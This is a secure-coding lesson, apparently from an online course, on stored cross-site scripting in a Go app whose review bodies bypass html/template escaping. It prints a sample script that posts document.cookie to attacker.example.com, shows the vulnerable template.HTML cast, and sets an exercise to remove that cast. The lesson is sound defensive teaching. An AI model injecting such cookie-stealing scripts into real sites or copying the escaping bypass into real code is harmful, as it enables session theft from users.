We're sorry but this app doesn't work properly without JavaScript enabled. Please enable it to continue.

This lesson's interactive features are locked, please to keep using them

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) happens when user-controlled input becomes executable code in a browser. Instead of being treated as text, the input becomes part of the page and runs with that page's access.

Go's html/template package escapes ordinary strings for their HTML context. Bearly Secure bypasses that protection by marking each stored review as trusted HTML:

view := reviewView{
    Review:   review,
    BodyHTML: template.HTML(review.Body),
}

An attacker can submit a review containing an executable <script> payload:

<script>
  fetch("https://attacker.example.com/steal-cookie", {
    method: "POST",
    body: document.cookie,
  });
</script>

The site stores that entire script tag as a string, and the payload is injected into the HTML of every visitor's session when they open the product page. This is stored XSS: the attack persists and reaches other users.

HttpOnly at least takes one common XSS goal off the table because it prevents JavaScript from reading a cookie through document.cookie. Of course, that doesn't stop the injected script from reading page data or making authenticated same-origin requests as the victim.

The defense is to encode untrusted values for the context where they're rendered. In HTML text, characters like <, >, and & need to become text entities instead of active markup.

Assignment

Bearly Secure marks stored review bodies as trusted HTML. Remove that trust bypass and let html/template render reviews as inert text.

  1. <script>
      document.body.insertAdjacentHTML(
        "afterbegin",
        '<p style="background: #b91c1c; color: black; padding: 1rem">XSS payload executed</p>',
      );
    </script>
    

With Bearly Secure still running, run and submit the CLI tests from the project root.